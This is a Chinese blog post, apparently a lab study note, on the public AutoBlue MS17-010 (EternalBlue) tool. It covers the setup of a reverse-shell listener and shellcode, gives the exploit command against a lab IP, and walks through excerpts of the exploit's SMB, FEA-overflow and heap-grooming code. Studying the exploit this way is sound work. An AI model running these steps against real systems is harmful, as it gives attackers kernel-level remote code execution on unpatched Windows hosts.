简述
由于该漏洞shellcode利用部分没有弄的太明白,于是我准备找一份别人写的工具来看看,别人怎么成功利用的。这份工具的好处在于,支持多个系统版本,坏处在于~蓝屏概率异常高,看来是堆喷射的手法比nsa工具集差远了。不过有源码,所以也是我仅能找到的写法参考工具了。
工具来源:
3ndG4me/AutoBlue-MS17-010
搭建步骤
监听部分
- git 下载工具,然后进入shellcode目录,运行
./shell_prep.sh
,填ip端口,然后一路选就好了。
- 回到主目录,运行
./listener_prep.sh
,填和shellcode一样的ip端口,同样一路选就好了。
攻击部分
- 进入python虚拟环境(配置搭建教程)
source autoblue-env/bin/activate
- 安装所需的模块
pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple
- 执行攻击命令
python eternalblue_exploit7.py 10.211.55.15 ./shellcode/sc_x86_msf.bin
代码分析
- wireshark抓包,过滤规则:
!(ip.dst == 239.255.255.250) && not arp && not nbns && not ntp && not dns && !(ip.dst == 192.168.32.255) && not dhcpv6 && not mdns && not icmpv6 && not llmnr && ip.dst != 224.0.0.22
-
创建smb连接,是NetBIOS会话请求
conn = smb.SMB(target, target)
-
发送一个登录请求,获取UID和操作系统版本,是SMB_COM_SESSION_SETUP_ANDX命令
conn.login_standard('', '')
server_os = conn.get_server_os()
-
发送SMB_COM_TREE_CONNECT_ANDX请求,获取tid
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
-
此处比较关键,原理详情,发送除了最后一个触发溢出漏洞的feal结构之外的其他feal数据。
progress = send_big_trans2(conn, tid, 0, feaList, '\x00'*30, 2000, False)
allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x1010)
sk = createConnectionWithBigSMBFirst80(target)
holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x10)
for i in range(5):
sk = createConnectionWithBigSMBFirst80(target)
srvnetConn.append(sk)
send_trans2_second(conn, tid, feaList[progress:], progress)
``
网友评论